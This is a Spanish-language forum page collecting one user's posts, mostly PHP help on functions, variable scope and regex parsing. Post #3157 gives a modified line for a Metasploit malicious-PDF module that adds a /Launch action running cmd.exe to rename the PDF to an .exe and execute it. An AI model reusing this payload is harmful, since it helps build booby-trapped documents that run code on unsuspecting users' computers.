Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Shell Root

#3151
Podrias usar la funcion de mi amigo Og., aunque la podrias modificar así:
Código (php) [Seleccionar]
function muestra($num){
$a = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$cont = strlen($a);
$ctp = 0;

while($num != 0){$tmp[$ctp] = $num%$cont; $num -= $tmp[$ctp++]; $num /= $cont;}
while($ctp != 0){echo $a[$tmp[--$ctp]];}
}

for($i=1;$i<300;$i++){
muestra($i);
echo "<br>";
}


Resultado:
B
C
D
E
[..Snip..]
LM
LN
#3152
 :xD que es lo que no te queda claro?  :rolleyes:
#3153
A lo que me refiero con la vida de las variables, es que... solo se va a poder invocar esa variable, dentro de la función, más no fuera de ella. Podeis crearla donde osdeis la gana, solo que dentro de la función... =P
#3154
Seria algo como estó?
Código (php) [Seleccionar]
<?PHP /* PoC */
$strCadena = "<a href='http://www.shellroot.com/index.php?id=1'>URL</a>
<a href='http://www.shellroot.com/index.php?id=2'>URL</a>
<a href='http://www.shellroot.com/index.php?id=3'>URL</a>
<a href='http://www.shellroot.com/index.php?id=4'>URL</a>
<a href='http://www.shellroot.com/index.php?id=5'>URL</a>
<a href='http://www.shellroot.com/index.php?id=6'>URL</a>
<a href='http://www.shellroot.com/index.php?id=7'>URL</a>
<a href='http://www.shellroot.com/index.php?id=8'>URL</a>";

$strPalabras = preg_split("/id=/", $strCadena);

for($i=1;$i<=count($strPalabras);$i++){
echo preg_replace('/(\D+)/', '', $strPalabras[$i]).', ';
}  

?>


Resultado:
1, 2, 3, 4, 5, 6, 7, 8, ,
#3156
Cita de: *PsYkE1* en 12 Abril 2010, 21:05 PM...de 2 a 6 digitos,...
Con eso te referis a que empieza desde aa y termina en zzzzzz
#3157
Ahora dirás que es un Copy/Paste?

Nueva linea a modificar 97
Código (ruby) [Seleccionar]
output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C (if exist \"%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\My Documents\"))&(if exist \"%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (cd \"%HOMEPATH%\\\\Desktop\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\My Documents\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%& cd \"My Documents\"))&(if exist \"%HOMEDRIVE%\\\\%HOMEPATH%\\\\Desktop\\\\#{pdf_name}.pdf\" (%HOMEDRIVE%&cd %HOMEPATH%&cd Desktop))&&(ren #{pdf_name}.pdf #{pdf_name}.exe&start #{pdf_name}.exe))>>>>\rendobj\r"
#3158
Emmm?

Las funciones son simples:
Código (php) [Seleccionar]
function nombreFuncion(_Parametros_){//Parametros pueden ser los que querais, separados por comas.
 // Inicio de vida de las variables
 // Acciones
 return Loquequeramosretornar;
 // Terminación de vida de las variables
}


Despues el metodo de llamado sería así:
Código (php) [Seleccionar]
//La misma cantidad de parametros declarados en la funcion, deben de ser iguales al momento de llamar la funcion.
echo nombreFuncion('ParametrosNecesarios');
#3159
Emmm dentro de la carpeta /opt/metasploit3/msf3/modules/exploits/windows/fileformat/, buscas el archivo adobe_pdf_embedded_exe.rb

PD: Identifica la diferencia entre Exploit y Xploit.
#3160
Eso tambien depende mucho de la empresa en la que trabajes...  :silbar: